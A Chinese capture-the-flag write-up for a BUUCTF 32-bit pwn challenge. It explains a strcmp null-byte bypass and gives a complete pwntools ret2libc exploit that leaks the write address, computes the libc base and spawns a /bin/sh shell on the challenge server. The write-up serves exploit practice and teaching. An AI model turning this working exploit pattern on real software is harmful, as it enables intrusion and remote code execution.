首先对于题目分析:
正常的32位小端序,checksec一下发现开了NX…………算了直接进正题。1.open函数的返回值,如果执行成功,他将返回一个文件描述,如果失败,他将返回-1.这里显然是成功了
2.文件描述符:0,1,2:是标准I/O输入、输出、错误。这里open执行成功了会返回3。
3.此时read(fd,&buf,4u)的意思是把fd指向的那个随机数输入buf中。
这里需要注意的是:strcmp函数可用“\x00”来截断,进而覆盖下面的v5变量,随后让
第二个read函数读入的“a1”足够覆盖栈,构造ROP。
EXP:
```python
from os import system
from pwn import*
from LibcSearcher import*
#context.log_level='debug'
p=remote('node4.buuoj.cn',27422)
elf= ELF('./pwn')
write_plt = elf.plt['write']
write_got = elf.got['write']
payload1 = '\x00' + '\xff'*7
p.sendline(payload1)
p.recv()#这里尤其需要注意,当发送第一行字符时,程序本身会输出一次需要先接受了。
paylaod2 = 'a'*(0xe7+4) +p32(write_plt) +p32(0x8048825) +p32(1) +p32(write_got)+p32(8)
p.sendline(paylaod2)
write_addr_ = u32(p.recv(4))
libc = ELF('./libc-2.23.so')
base_ = write_addr_ - libc.symbols['write']
system_ = base_ + libc.symbols['system']
binsh = base_ + libc.search('/bin/sh').next()
p.sendline(payload1)
p.recv()
paylaod = 'a'*0xeb + p32(system_)*2 + p32(binsh)
p.sendline(paylaod)
p.interactive()
这是对于LibcSearcher的一种使用方法,因为BUU上面给出了使用的libc库版本,另一种法子参照这位师傅的wp:LibcSearcher另一种解法